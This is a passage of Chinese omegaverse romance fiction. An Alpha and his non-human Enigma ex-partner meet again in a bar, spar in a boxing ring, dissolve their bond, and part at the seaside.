“你太不够意思了, 前段时间你腺体受伤都不告诉我, 还跑去打拳, 还用信息素压迫。”寇准星举着杯酒一屁股坐在他身边的空位, 语气幽怨至极, 也不知道忍了多久才没在车上发作, “双A就是这样, 动不动就要进医院。” “我和闵随分手了。” “啊?” 声音太大,一群人都看过来。 寇准星也知道自己反应过度, 他尴尬地喝两口酒,也没问是什么时候,“拜拜就拜拜, 下一个更乖,我给你介绍下一个, 喜欢Alpha还是Omega, Beta也行。” 不过一周前才准备惊喜, 怎么转头就分手了?! “不用。”寇准星故意调节气氛的话也很难让他像遇见闵随前一样笑出来。 腺体下方的疤还没落完, 时不时就有些痒, 而原本该干干净净的腺体却永远无法除去那枚代表着被标记的旧咬痕。 但都过去了。 每次回医院复查, 符忍盛都将他骂得狗血淋头, 可是他没有半分后悔,那点血就能换回自由, 再来一次两次无数次他也会做相同的选择。 闵随并非人类,法律对他来说只是心情好可以遵守的框架, 一旦遇见触及他根本利益的事,他能够做出任何事情。 “嘿,大家看过来!” 稍不注意,喝了几口酒的寇准星没人看住,站在卡座上举起酒杯。 “我兄弟,原烙音,恢复单身!” “听懂,掌声!” 那一转熟人目光瞬间落在原烙音身上,噼里啪啦的掌声炸开。 原烙音捂住脸掩耳盗铃。 他要打死寇准星。 “原烙音,C·N实验室一根草,我作为他的父亲,在此为他征婚,Alpha,Beta,Omega都可以报名!” 在原烙音准备好给寇准星物理催眠时,终于有实验室的师兄弟看不过眼,把他拖去厕所醒酒。 “师兄,环球旅行是不是特别好!”沈清诺鬼鬼祟祟凑过来,叽里呱啦说了一通有的没的,才轻咳两声,“我是来给自己报名的,要是寇哥没胡说,肥水不流外人田。” 又是来添乱的。 “沈清诺。” 他还没有把拒绝完全说出口,沈清诺就举起双手。 “OKOK,我喝多了胡说八道。”沈清诺也不管原烙音愿不愿意与他碰杯,一口就闷,比喊口号还大声,“师兄,分手快乐!” 原烙音以为这就是终结,但他显然低估了自己的魅力,找他喝酒搭讪的人比平常多太多。 话里话外都是要个机会。 冰凉的酒液划过咽喉,有些苦,还带着葡萄的清香。 他婉拒第不知多少个搭讪者后,终于忍不住去找在厕所吐得昏天黑地,现在都没回来的寇准星当沙包降降火。 赵翎羽坐在原烙音右手边第二个位置,借着圆形卡座的优势,在舞台灯光暗下时朝Alpha看去。 他早就过了去全力追求谁的年纪,也明白与原烙音的关系就该止步于很久之前的点到为止。 但心哪里又是那么容易控制的? 两个小时前,原烙音来后,他再难挪开目光,也控制不住自己越来越快的心跳。 又有人端着酒凑过来拦住原烙音离开的脚步,赵翎羽知道自己想法幼稚得有些可笑,他居然庆幸有人能够拦住Alpha,让他有机会多看两眼。 Alpha一如既往地拒绝,但忽然,他像是被什么刺了一下,猛地低下头坐回原位,什么也没说,只是酒一杯接着一杯。 喝那么多酒,是受委屈了吗? 他有些好奇地顺着原烙音刚才目光的方向看过去,视线终点那人他也认识。 男人像是刚结束晚宴,绛紫色衬衫外套着纯黑的马甲,深色的领带一丝不苟,他戴着金丝眼镜,点了杯酒,正在婉拒眼前Omega的邀约。 是他上司的上司的顶头上司。 嫉妒如一把火越烧越烈,他恨闵随那么幸运拥有了原烙音的垂怜,为什么又不好好珍惜。 但不管他多么不愿承认,闵随与原烙音即使是分手,也是天作之合。 原烙音并没有注意到Beta隐晦的目光,目的性极强的乌木香钻来,除了他之外没有人发现,这样不为人知的暧昧放到现在他只觉得烦闷。 那些与他契合度极高的信息素就像只手攥住他的心脏肆意揉捏,提醒他就算逃脱也只是暂时,有吸引异种的定时炸弹在,他不过是从笼子飞到庭院。 他望过去,借着酒吧昏暗的灯光,这一瞬间嘈杂的音乐声都成了空白。 Enigma坐在他们初遇时的卡座。 不守规矩的老东西。 他已经放弃了跟闵随约法三章,彻底摆烂。 与闵随搭讪的Omega消失在双方的视线范围,他刻意的目光被闵随捕捉,男人隔着远距离与他对视,举起酒杯。 原烙音准备将酒倒进桌面垃圾桶的动作被人截胡,那只手腕很白,戴着当季新款手链穿过他的臂弯,在他没反应过来时对方已经喝下“交杯酒”。 是元聿。 “听说你分手了啊。”元聿翘着腿坐在原烙音面前的桌上,冷得快冻成冰的天气他穿着吊腿袜,“没想到你居然是我老板娘。” “闵随是我老板。”元聿补充道,看原烙音越来越难看的脸色轻笑出声,忽然俯身,“哦,是前任。” “你们太幼稚了,还谈恋爱。” 元聿玩够了,他勾原烙音下巴的动作被Alpha偏头躲开,只能无聊地吹声口哨,手撑桌面后仰上半身,去碰别人的杯子,看原烙音招手唤来酒保。 “给那个人传句话。”原烙音掏出一把钞票,看也没看塞给酒保,指向闵随,“说我不点鸭子,让他滚,别盯着我。” 有钱自然好办事,原烙音翘着腿准备看好戏。 没想到元聿还没离开,他小腿摇晃着蹭过原烙音的裤脚,Omega信息素若隐若现。 “你有完没完。”原烙音越发不耐烦。 “其实我不是来找你的。”元聿舔着唇,在原烙音彻底炸毛前收回信息素,“你那个要给你征婚的父亲呢,他很可爱,我今晚想和他喝几杯酒。” “你别招惹他。”寇准星这种没谈过恋爱的人怎么招架得住元聿这种玩咖。 在元聿还准备调戏几句时,有人捏住他的袖子将他拽到一边,动作粗暴,疼得他眯起眼。 “元聿,明天我要看到你对上季度利润未达标的总结报告。”闵随挡在二人中间,背对着Alpha,呈保护姿态。 “闵总,我现在还在休……”元聿深吸一口气,露出咬牙切齿的笑容,“好的,明天早上会交给谢助。” 早知道闵随也在这,他就不这么玩了。 八卦这样的东西一传十十传百,原烙音的同性恋人是IMS的董事长不少人都知道,闵随那张脸时常出现在新闻中,也不是很陌生。 “走。” 越来越多人望向他们,原烙音没有给人当猴子观赏的爱好,他撞开闵随,丢下句话,朝外走去。 闵随感受到那一撞的怒气,哑然失笑,跟了出去。 昏黄的路灯有无数蚊虫飞扑,落下来的光将二人的影子拉得无限长,再走几步就是他们初遇的小巷。 原烙音站定,看到闵随的影子出现在面前,终于忍不住问责。 “屡教不改啊闵总。”他快气疯了,好不容易说服自己只是暂时因为利益待在首都,并没有想象中那么狼狈。 但才几天,闵随又明知故犯。 “音音。” 其实并非跟踪,他只是从谢垣那里知道寇准星发酒疯给原烙音征婚,太多人祝Alpha分手快乐,试图得到趁虚而入,那些从视频都能看出的觊觎彻底击溃他的理智。 但他解释也只会被原烙音判定为狡辩。 “对不起。”闵随的姿态放得很低,但能看出没有半点悔过之意,只是用这种模样博取同情,“我很久没看到你了,我只是想要见见你。” “我说过,你要是再用你那个狗屁能力跟踪我,我马上报警。”原烙音不吃这一套,他痛恨闵随表里不一永远都是嘴上功夫。 “音音,对不起,又打扰你了。”他的声音很小,但很清醒,“我没有跟踪你,我知道错了。” “我太想你了,又不敢回家,就想着来学校周边转转。” “知道错了就滚。”原烙音的腺体又在跳动,伤口愈合后留下一道疤,原烙音并不打算除去,提醒他与闵随之间还有跨越不去的恨。 是闵随的错。 “这里不好打车,我送你回去。”闵随不想放过任何与原烙音独处的机会,他的确不是信守承诺的人。 只要有一点机会,他都会争取将原烙音留在身边。 “不劳闵总费心。”原烙音掏出手机打车,发现自己的屏保还是二人的合照,摁软件的力道加大。 闵随还是看见了屏保,他嘴角缓缓勾起,担心留在原烙音的视线会激起Alpha的逆反心理,便回到车内。 “该死。” 现在是凌晨,根本打不到车。 原烙音退出软件,再次看到屏保,只能狠狠摁关机键眼不见心不烦。 他思考骑车回去的可能性,最后还是拉开后座车门坐了上去。 “你不是喝酒了?”那么高的度数肯定到醉驾标准,他可不想因为驾驶员酒驾还要进局子。 “塔卢索不会受酒精印象,吹气和抽血也不会检测出酒精。”闵随给原烙音系好安全带,“谢谢音音给我送你回家的机会,我送你回去就走。” “嗯。”原烙音不想说话,靠在车窗闭上眼睛拒绝交流。 闵随松了口气。 好在不是一点机会不给。 进入主城区,即使是凌晨也是灯光闪烁,路口处红绿灯时间短,车流堵得很长。 原烙音彻底被闵随磨得没有脾气,他靠在车窗不愿多看Enigma一眼,浑身上下每个细胞都在散发怨气。 闵随自然明白Alpha的气愤,但他必须这么做,太多人爱原烙音,若他真如愿退出Alpha的生活,那就会彻底失去机会。 “听说你这段时间在找陪练,我符合要求吗?”他很认真,垂下眼睫像蓄势待发故意装弱的头狼,等猎物心软答应后就会扑上去用长满倒刺的舌头舔舐柔软的脖颈,“我能扛得住疼,还玩过一段时间的拳击。” “谁告诉你的。”原烙音有些烦,刻意回避闵随还是对他的情况了如指掌,“看来我是该换经理了。” 潜台词闵随听得很明白,他知道自己信誉值在Alpha这里就是负数,只能解释自己不是监控。 “万盛被IMS和其他集团拆分收购了,现在那栋楼是我的。”闵随道,“没人敢拦我,我看到电梯的招聘广告了。” “你在跟我炫耀你很有钱吗?”原烙音打断,一想到每年那么高的租金是流进闵随口袋他就心梗。 “你知道什么叫陪练吗?”闵随一装可怜他就止不住心软,发现这一点的原烙音愈发烦躁,“要不就比我强带着我练,要不就挨打。” “我愿意的。”闵随握住方向盘,跟着缓慢移动的车流,下一个路口就是分叉,直走是回家,右拐是去万盛大厦。 他只有很短的时间等待原烙音的回答。 “好,现在就走。”酒精冲击着原烙音的大脑,他闭上眼睛降下车窗,让风吹走燥意。 走进拳场原烙音全程低气压,他们之间始终保持着远于两步的距离。 Alpha上身赤.裸并未贴抑制贴,戴上拳击手套表情不善,看来是打定主意要给闵随一个教训。 “你不会被我打死吧。”原烙音故意挑衅,塔卢索能够轻易处理鹄卡兹,说什么也不可能会被他这个人类打死。 闵随听懂Alpha的意思,哑然失笑。 “塔卢索的身体强度很高,你就算借助外力也很难彻底杀死我。”闵随的贪婪藏在平静的水波下,肆意扫过原烙音的肌肤。 他们站在方形台的对角线,闵随压制暴动的触手。 他的脸色有些白。 “那就好。”原烙音一拳狠狠砸在他身上,避开致命部位用了七八成力道,酒精与恨意共同作用着,藏在丰富情绪中的爱也临阵倒戈,为惩罚诡计多端Enigma的Alpha摇旗呐喊。 与其说是陪练,不如说闵随是特意送上门当沙包,目的就是为了平息些许Alpha的怒火。 不等闵随反应,原烙音又是一拳直冲面门,这些动作在被囚禁的十四天里上演无数次。 闵随只觉口腔中瞬间出现血腥味,他倒退几步被铁网阻拦。他特意卸下防御,让自己这具躯壳暂时回归正常人类的状态。 原烙音目的很简单,就是因为闵随这段时间频频越界略施小惩,他清楚自己的实力,控制住后不会出现危险。 “把上衣脱了。”原烙音道。 闵随上场前换了套无袖黑色运动套装,恰到好处的肌肉都藏在里面,若是看不见很容易下手失轻重受伤。 “不用,我不会受伤。”闵随拒绝得很干脆,原烙音却从这里面品出些意味。 他表面没在继续坚持,却趁闵随不注意把人绊倒在地,跨坐在男人的髋骨上死死压制男人反抗的动作。 发现闵随真的没有挣脱开,原烙音有些意外地挑眉。 这人还真是诡计多端,连苦肉计都端上来了。 闵随不敢把他掀开,又担心弄伤Alpha,能够用的力道和姿势都很有限。 乌木香盖不住血腥味,原烙音不再犹豫,裂帛声响起,他拽住大半手掌宽的肩带狠狠一扯,黑色无袖装瞬间裂成两半,闵随的腰部有几道深可见骨的伤疤,是刚刚撕裂的痕迹。 今晚的种种看来都是在铺垫这一刻,他就不该对闵随抱有半点信心…… “你故意的。” 原烙音的眼睛闪烁下,他欲言又止,最后只是沉默起身,捞过挂在柱子上的毛巾,转身就走。 “对,我故意的。”闵随瘫坐在地上,原烙音刚刚结结实实坐在他伤口上,在这具身体中他依旧会感受到同等的痛苦。 Enigma的唇白得吓人,看见原烙音消失的背影嗫嚅着,意识到原烙音是真的不会再心软。 两个结结实实毫无转圜的谎言就如同万丈悬崖,而他错误的行为让自己永坠深渊。他没有任何身份与理由阻止原烙音的离开。 灯光惨白,还有一束照在闵随身上,腹部的血缓缓流出很快蔓延到地面,打湿那几块破布,但他并没有处理的心情,只剩下极其烦躁的自毁情绪。 脚步声由远及近,他睁开眼睛,发现去而复返的原烙音冷着脸,蹲在他面前。 不知是惊讶还是喜悦,他几乎是下意识攥住原烙音的手腕,骨节分明的手掌转换为漆黑泛着蓝光的触手,缠绕着,用吸盘死死抓牢。 凑近他都能闻到难以忽视的血腥气,本来就体温偏低现在更是冷得像块冰。 “撒开!”原烙音甩不开,那触手简直是触及他认知底线。 “不要走。”闵随不敢再惹原烙音生气,只能松开。 他试图解释。 “我去处理了那些欺负你的东西,这只是不小心。” 觊觎他的东西何其多,但在首都倒是还没有什么异种敢动手。 “闵随,你又要骗我吗?”原烙音没有再扭头就走,他打开简易医药箱,往狰狞的伤口撒止血药粉,利落地缠好绷带。 “听说鹄卡兹碰都没碰到你就被撕成碎片,傅云泠也说塔卢索的能力在异种中是顶尖,而你甚至是塔卢索中的佼佼者。” 在包扎好伤口后,原烙音才意识到眼前的是能够瞬间治愈伤口的塔卢索,他刻意提来的药箱半点用都没有。 “我不会心疼你了,既然伤口会瞬间愈合,那这药也没什么用。” “那么多次见面,你却总是对改变我体质的事情避而不谈。”原烙音动摇的心瞬间归于原位,“你下次再这样,我立刻就离开首都,只要不回邛光,去到个人迹罕至的地方,我这个灾星也不会牵连别人。” 他的声音充满着失望,拳场白色的地面留着闵随那摊血,是唯一鲜艳的色彩,刺痛他的眼睛。 “别这样,你不是灾星。” “不是吗?”原烙音像是自言自语,他站起身往外走,嘴唇颤抖着神情俱是难受。 闵随支撑着起身抱住他的后腰,动作太大撕裂伤口,翻出的血肉隔着纱布撞在Alpha的身上,摩擦发疼,但他的手环得更紧,几乎是死死搂住。 运筹帷幄的Enigma也黔驴技穷,只能抢着时间解释:“我没有骗你,我真的没有骗你。” 他误以为有命定枷锁,未来必定殊途同归,而他那么厌恶族群,最后却还是重蹈覆辙,将劣等基因所带的疯狂加诸于伴侣身上。 自食恶果的滋味翻江倒海,他将额头贴在原烙音的肩,恨不得将Alpha嵌入骨血。 “解决那些东西的确容易,但我过于轻敌,明知道它们能够制造幻象也没多放在心上,只是准备掐死它,但在它即将断气的那一刻,我却看见了你的脸。” “我走神了,腹部受伤。” “那个生物的爪子有毒,伤口愈合极其缓慢,我承认是想利用这个让你心疼。” “今晚来酒吧是无意间看到你朋友祝你分手快乐的视频,我昏了头了。” 闵随解释得很急,试图挽回这一段岌岌可危的感情。 “别离开我,我不能没有你,我可以改,什么都可以改。” “你撒气,打我,骂我,都可以,哪怕你离开首都我也可以走,我不想失去机会。” 闵随收回所有信息素,担心Alpha误解他用信息素干扰,但手上还是不松懈,身后触手因宿主情绪波动而冒出张牙舞爪,软软贴在原烙音光裸的小腿,滑嫩的尖尖还挥着手。 “我等你的解决方法。” 原烙音还是没松口,让自己难过的东西就应该放弃,即使再难过,纠缠只会徒增伤害,最后只会遍体鳞伤。 他们之间已经经不起新谎言的冲击,那条锁链不知什么时候换成了随时可能断裂的麻绳。 什么时候他与闵随之间的关系变得这般脆弱? 他很难过。 第79章 第 79 章 雨, 几乎颠倒整个世界。 一声雷后的瓢泼大雨,原烙音并没有带伞。 “我没主动找他,不过IMS的人说他去实验考察归期不定。”原烙音站在屋檐下,此时那一片区域挤满了没伞的可怜人, “我不想等了。” 闵随失联太久, 有前科在, 他越来越怀疑这是对方将他留在首都的拖延手段。 但他最不喜欢的就是被人威胁。 于是他让原衡铎给宋执玉递口信商量合作事宜。 “我知道他很忙, 但这个地方打不到车, 现在雨太大了。” “让他再等等, 不看我的面子, 也得看看钱的面子吧。” 偏偏他已经走到出发点与目的地的中段,天气预报预测这场突如其来的大雨将要持续两个小时, 无论是回头还是继续往前走,抑或是找个地方等都不是好选择。 而现在正处于早高峰,坐车他就要有堵在路上的心理准备。 “嗯, 我尽快赶到。” 他一头扎进雨中,很快就成了只落汤鸡, 忽然有把伞悬在头顶, 暂时为他遮挡无情落下的雨。 伞柄趁他错愕之际塞进他的掌心, 路过太多人, 都撑着伞前往自己的目的地, 并没有人注意他们。 闵随什么也没说, 甚至逃避与他对视的机会, 只是独自走进雨中,被无数颜色各异的伞面淹没, 消失得无影无踪,就像是专程来为他送一把伞。 太久没见了。 已经太久没见了。 “哥……哥?我骑小电驴来接你吧。”原衡铎的声音拉回他飘远的神智。 “不用, 我有伞了。” 他挂断电话,微信却弹出几条消息。 【闵随:我找到办法了】 【闵随:你愿意的话】 【闵随:见一面吧】 明明是值得放鞭炮的喜事,他口口声声说自己会在问题解决的当天飞回邛光,但当机会真正降临时,他又有微妙的不适感。 就好像属于自己的东西即将被抽离,他知道是自己的占有欲在作祟。 他用空不出手的借口说服自己不要回应,至少要先去见宋执玉。 雨积成水洼,一踩一个准,原烙音拖着沾湿大半的裤子进入INSO总部大楼。 很难想象刚刚面世的神秘组织总部就在寸土寸金的商圈。 “不出意外下半年我就会接触原氏集团的项目,这次回家我会告诉家里原衡铎的真实工作,我能保证每年最低两个亿的赞助,若是INSO能给原氏牵线,我保证这些钱会翻很多倍。”原烙音知道自己并不占优势,INSO既然面世,证明异种冲击再难隐瞒,而与官方合作百利而无一害,太多人都想要分一杯羹。 “南方,原氏不说一家独大,至少能说上话。”他知道自己的父辈与原氏高层不会拒绝这么大一块蛋糕,这也会成为他回集团上任的第一把火。 “我们的选择有很多。”宋执玉并不接茬,他轻抿一口茶,“西部出现沙型异种,我需要亲自坐镇。” 算盘珠子都快崩他脸上了。 “我和闵随早就分手了。”他咬牙切齿,几乎是从牙缝里挤出这句话。 “是吗?”宋执玉满脸写着不相信,“我可是听说塔卢索命定伴侣只有一位,兜兜转转总会在一起的。” 不过是利用,原烙音满脑子盘算着两清,知道只要自己开口闵随必定会同意,最后还是妥协。 “我可以问闵随,但是我有要求。”他不是分手后便老死不相往来的那类人,毕竟闵随还为他延续了原本三十年就要走向枯竭的生命,这样的救命之恩是永远割不断的,无论他后面有多恨塔卢索的疯狂。 “愿闻其详。”宋执玉一开始就猜到Alpha会答应。 “原定金额不变,INSO在南方的合作伙伴只能是原氏集团和我们的盟友,原氏集团与你们对接的只能是我。”既然都利用闵随,他还不如好好揣着愧疚心思贯彻到底,“以及,我不需要保障原衡铎的安危,但是我要求他的能力达到后顺利升迁,不会因为什么乌七八糟的事情降职。” 原衡铎性子太烈,得罪人在所难免,总不能指望着傅云泠时时刻刻待在他身边。 “那是自然。”宋执玉还以为对方会狮子大开口,没想到就这点要求。 有塞壬在,谁敢动原衡铎? “那,合作愉快。”原烙音伸出手。 “合作愉快。”宋执玉稳稳握住。 离开INSO后,原烙音发现开启静音的手机接收了不少消息。 【闵随:(位置)】 【闵随:我在这里等你】 【闵随:来与不来都依你,换地方也可以】 对方姿态摆得足够低,外加他狠狠利用了Enigma,着实有点子心虚。 * 海岸由岩石堆积的天然看台空无一人,原烙音双腿悬空,感受深夜拂面而来的海风。 Alpha就像一团抓不住的云,闵随静静地看向他。 “你说的方法是什么?”原烙音道。 该来的还是来了。 “有两种方式能够让你再也不受异种觊觎,一是解除完全标记,二是灵魂契约。”闵随看见他皱起的眉,知道原烙音要说什么,先出言截断,“未来我们成为天地间的尘埃,重组后我还是会成为塔卢索,而你可能成为天地间任何生物,但还是我的命定伴侣,我会找到你。” 很可笑,他明明知道原烙音的答案还是存有希冀。 Alpha只是轻轻摇摇头,他等待既定结局的降临,好像褪去了所有竖起的尖刺。 “你知道的,我一直都只想做一个正常人。”从十六岁分化起,高量级加上残缺腺体成为他的催命符,他看惯了家人善意的伪装与眼泪,最大的愿望只不过是当个普通人。 “解除完全标记吧。”他轻声道,甚至主动握住闵随的手,“你会幸福的。” 这安慰苍白而无力,可闵随再也找不到拒绝的理由,再隐瞒再制造意外只会换来Alpha的厌恶。 他已经彻底走入死局。 以爱为生的种族,说到底就是个笑话。 触手重新出现,却不敢缠绕一步之遥的伴侣,它们可怜兮兮地摇晃。 数不清的交缠触手中,原烙音捕捉到最漂亮的那一根,由尖端朝根部是深蓝与墨黑的渐变过渡,亮蓝颗粒闪烁着,却在下一刻断裂。 闵随的嘴角流出一丝鲜血,他的脸出现犹如瓷器碎裂的细纹,就像一尊被打碎的雕塑,那节触手还跳动着,溢出汩汩的鲜血,原烙音仿佛能听见它痛苦的哀嚎。 与此同时,那无形中与闵随紧密连接的完全标记骤然断裂,原烙音找回了标记前的感觉。 呼吸剧烈起来,原烙音像是遭遇巨大变故的可怜人,他的大脑放空,控制不住自己的四肢,只能看见自己伸出手,缓慢地,坚定地,将摇晃的闵随搂入怀中。 闵随靠在他的肩膀,血沾在他的衣服上,像苟延残喘的必死之人,只会不停地咳嗽。 “怎么了,这是怎么了!”原烙音猜到是解除完全标记的附加效应,“你说话啊闵随。” 抱住闵随就像是抱住一块冰,他从未见过Enigma这么脆弱的模样,就像是下一秒就会成为在礁石上破碎的白色浪花。 心慌,紧张。 他以为自己的爱早就一滴不剩地转化为恨,但此时此刻拨开云雾,他看到了忽略已久的真心。 完全标记彻底解除,他却仿佛与闵随共感,触及能够将他化为碎粒的痛苦。 “你还是担心我的。”闵随气息微弱,他故意在Alpha面前切断触手,终于被他窥见原烙音重重遮掩的爱,“我不求你原谅,但至少能给我补偿的机会。” “抱歉,塔卢索种族生来便是如此,我好像从来没有学过什么是种族。”闵随忍受虽迟但到的疼痛,他的骨头断裂重愈,他强忍着不让Alpha看出端倪,“我在学,我真的在学。” “如果能重逢,可以不推开我吗?” “别说话了。”原烙音明知道这是Enigma的苦肉计,望着闵随,他却说不出半分重话。 完全标记是当初双方自愿缔结的,解除却是闵随一人承受痛苦,就如同AO标记只会有Omega一人躺上冰冷手术台承受死亡威胁。 “有谁能帮你吗?”原烙音病急乱投医,“符医生,傅云泠,还是宋执玉。” 闵随只是笑,没人能够帮到他,这样违背本能推开伴侣的事在塔卢索之中都是大忌,这些痛苦必须加诸于他身上。 “不用。” “就抱一会,就一会。” 原烙音没多问,他感觉到闵随靠在他的肩,塔卢索没有呼吸,Enigma脸上的裂缝逐渐愈合,安静地就像是个玩偶。 波涛追逐着前者,撞击礁石粉身碎骨,成为黑夜中唯一的一抹白。 远方的灯塔是爆炸的光团,原烙音眯起一只眼,拇指与食指捏紧,仿佛把亮光攫取到掌心。 他无法忽视闵随受伤那刻的心跳,也知道自己必须接受分开的事实。 他们不合适。 身边散落的是易拉罐,他单手打开新的,喷出的泡沫沾湿手指。 他小抿一口,微微递出。 “要来一口吗?” 闵随脸色还是有些苍白,他抬手接过,指尖触碰短暂几秒后,易拉罐易主,酒液划过食道流进胃,有些苦。 “我想请你帮个忙。”原烙音还是无法心安理得利用闵随,他的心情就像是从前误认为闵随捐献腺体.液会有40%死亡率那般茫然无措。 “你知道我永远不可能拒绝你。”闵随眼中反而闪烁出希望的光亮,越来越多的牵扯,他们就不会那么容易两清。 “INSO与原氏合作的要求之一,是希望我能说服你处理西部的沙型怪物。”原烙音并没有狼心狗肺到任由闵随陷入危险的份上,他还是有些心虚,躲闪着闵随的目光,“要是棘手的话我就去回绝他,我不希望你受伤。” 一时间,闵随也不清楚是苦肉计最终奏效,还是原烙音不愿意背负太多。 “我前段时间才拒绝了宋执玉。” 那东西他处理再简单不过,对傅云泠来说也是小菜一碟,只不过喜欢水的人鱼不喜欢沙漠罢了。 “那我跟他说。”原烙音并不是以退为进,闵随的安全比他回到原氏的坦途要重要的多。 “我没说不答应。”闵随猜到原烙音的打算,他试探着握住Alpha的手背,“回到原氏你还需要学很多东西,我正好很擅长,我不介意你利用我,怎么利用都行。” “这是我欠你的。”好像这一句欠划定他们之间新的关系,至少不单单是该老死不相往来的前任。 “你没有欠我。”原烙音摁住自己的腺体,“没有你,我现在可能都死了,后面那些事其实都没法相抵。” 他好像不太能怪闵随,被关的那段时间咬牙切齿恨不得戳死对方,但每想起救命之恩又觉得那些怨恨不过如此。 位置调换,就算是他,也不能保证自己愿意赌上自己的命。 “不要两清。”闵随眼里满满都是哀求。 原烙音不再回应,他们又重归沉默,好像再也找不到话说,却都不想就这样离开。 所有的目的都已达到,原烙音再也没有留在首都的理由。 “我要回邛光了。”他看波涛拍打渔船,月夜下一切都静谧而混乱,除了水声只有他颤抖的呼吸,“以后就不来首都了。” 死神镰刀最终挥下,属于塔卢索的永夜在此刻降临。 断绝的话只需要简短几字,闵随直直看去,Alpha的脊背微微战栗,不敢对视的眼睛证明他并非心如止水。 已经没有挽回的余地了。 “好。”即将说出口的挽留还是被妥协替换,他有无数理由无数方式能够留下原烙音,但那句尊重从这段感情破裂时就成为束缚他的枷锁。 他还是没有完全学会尊重伴侣。 “你关我,还有骗我那些事,我不怪你了。”原烙音摸到空掉的易拉罐,晃荡两下只听见微弱的水声,便用力捏扁,“其实现在想来也没什么大不了的。” 长时间没听到闵随的回应,他急于给自己的话增添可信度。 “真的,我说真的。” “都过去了,没什么好怪的。” “来首都最好的事情,就是遇见你。”原烙音从不羞于明确表达爱意,但这样的话却莫名让他觉得有些别扭,他低着头,“就算在邛光,我也会一直记得你的,不过可能我不会站在原地。” 不同于他收到的其他爱意,闵随给他的是全新的体验。 可永恒从不存在,也不会有既定的结局,命定伴侣从来不是塔卢索的所有物。 “要是以后有新欢,一定要带给我看看。”他不知道该说什么,酒精作用下微风拂面气氛太好,开始口不择言,“就算分开了,我们还是朋友不是吗?” 他明白这样的话会让两个人都不痛快,说出口的话像一把刀捅在他心头转动刮伤血肉,也剜出闵随的心。 手被人攥住后,原烙音第一反应就是躲,但那一秒犹豫令他陷入十指相扣的地步。 “不要说这样的话。”闵随只觉得五脏六腑化为血泥,每一块骨头都被原烙音故作轻松的离别语敲碎,“我求你,不要设想这样的未来。” 原烙音的笑逐渐僵在脸上,他嘴角一点一点拉平,眼底流出苦涩的酸意。 可是再不承认,也总会有新的人出现,填补这个命定伴侣的空缺,他也不会逼着闵随为他守贞,也不敢保证他自己会永远怀念首都的冬天。 但望着闵随的眼睛,他又说不出那些话,只能把注意力回落到交握的十指,借着远处的灯光,他看到一枚并不完美的戒指。 曾经澎湃爱意凝聚出的戒指,有最昂贵的宝石和最拙劣的工艺。 戒指会框住闵随吗? “你还带着这个。”他有些无奈。 “你不喜欢,我以后就不带了。”闵随想藏起那枚几乎嵌在他右手中指的戒指,又舍不得松开原烙音的手,两难境地,Enigma少有如此狼狈,“但可以别收回去吗?” “我不会。”原烙音有点意外闵随的直白,他也不想还给闵随那枚胸针。 “你可能不太需要这个迟到的道歉,但我想说,我伤害你了,音音。”闵随没察觉到原烙音的排斥,他一点一点将Alpha拥入怀中,“对不起,对不起。” 我爱你,不要丢下我。 原烙音离开后,首都就会变成永世不得逃离的囚笼,时时刻刻都在提醒他蠢到弄丢自己的爱人。 海风从无边之处吹拂,填满他们疏忽的缝隙。 原烙音闭上眼睛,靠在闵随的肩膀,他的脸靠在塔卢索的颈侧,汲取寒冬中为数不多的温暖。 闵随的体温好像变高了。 “你现在体表温度接近人类了。”从前的闵随冷得像块冰,他还猜测是不是身体不好才会全身冰凉。 “这是完全标记后塔卢索身体为命定伴侣的自发改变。”闵随察觉到原烙音眼睛里闪烁的逃避,不再多说。 他从前嗤之以鼻的本能依旧扎根在他的基因里,不管他如何挣扎,都无法真正除去。 身体在想方设法留住原烙音,而他烂泥扶不上墙,可耻地选择放手。 即使只是暂时。 他爱原烙音毋庸置疑,但之前带着胁迫手段的求和是他最大的败笔。 “我能来邛光吗?”就这么放手,对塔卢索来说可谓是天方夜谭,而他已经亲身实践从前那些同族的方法是何等的愚蠢,绝不会再伤害原烙音,“我不奢求你回首都。” “当然,随时欢迎。” 原烙音在试图用对待朋友的态度对待他,客套而疏离。 “你还可以带其他人来。” “我只会有你。”闵随知道原烙音的航班容不得他们在这里互诉衷肠,更多的话应该留在邛光,“音音,给我个机会,把我当做普通追求者就好。” 混沌的黑夜与永恒的黎明,塔卢索会永远忠于命定伴侣。 “我从不接受追求者的示爱。”原烙音瞥见闵随骤然落寞的眉眼,露出今晚唯一真心的笑容,“但是如果他长了一张我很喜欢的脸,或许能够让我破例。” 原烙音故意调节凝重气氛的俏皮话并没有让冰雪消融,闵随松开他的手。 “我能送你去机场吗?” “不。”Alpha拒绝地很干脆,“我要先去拉乌斯蒙德。” 分手后旧地重游向来不是个好选择,但原烙音不知道离开首都应该去到哪,至少他不能用这副尊容回邛光。 “我……” “stop!”他叫停闵随,扯断男人蓄意纠缠的念头,“你的车在那边,闵董。” “音音。” 就在原烙音以为闵随依旧无法释怀时,他又听见风传来声音。 “睡个好觉。” 拳头蜷缩又松开,原烙音最后还是没有回头,只是声音有些闷与潮湿。 “再见,闵先生。” 他们的分开再体面不过,可双方都未释怀,原烙音摸着完好的腺体,他再也感受不到从前恨不得早点摆脱的完全标记。 他自私自利,带着目的接近,想着治好腺体后扔掉闵随,背信弃义。 闵随把他关起来,强制标记,言语恐吓。 他们都不是什么好东西。 闵随可以执迷不悟,继续囚禁他、折磨他、逼迫他,这样他就不会如今怅然若失,也不会因放弃这段感情痛苦。 但闵随没有。 Enigma开始学习尊重,开始祈求他的垂怜,甚至亲手切断他以为将要纠缠一生的完全标记。 他以为会恶语相向,会反目成仇。 再不过他至少觉得闵随今晚绝不会放弃送他去机场。 但闵随走了。 闵随祝他睡个好觉。 “我一直都睡得挺好。”他小声自言自语,不知道在反驳什么。 抬头又一架飞机穿过云层。 原烙音忽然发现自己不知何时早已泪流满面,他克制不住转头,却看见闵随仍旧在原地。 他什么也没说,只是抄着手往前走。 他要回邛光担起他的责任。 天大地大任鸟飞,只是以后再也没有闵随。 第80章 第 80 章 他最终还是取消机票, 在机场外看那架飞机缓缓升空,朝大洋彼岸飞去。 就让拉乌斯蒙德永远停留在他的记忆中。 车给了寇准星,行李也早就寄回邛光,原烙音把身份证揣进兜里, 随便上了辆出租车, 让师傅随便开。 “和对象吵架了?”师傅从后视镜看到他憔悴的脸色, 再结合机场这个分手圣地, 猜到原因太过容易。 “分手了。”原烙音道。 “唉, 你们还年轻, 未来无限可能, 别丧个脸。”师傅也不知道该如何宽慰,Alpha就靠在车窗望向外面, 一副心如死灰的模样。 原烙音看着移动变换的风景,却感受到心底深处逐渐延伸的无力。 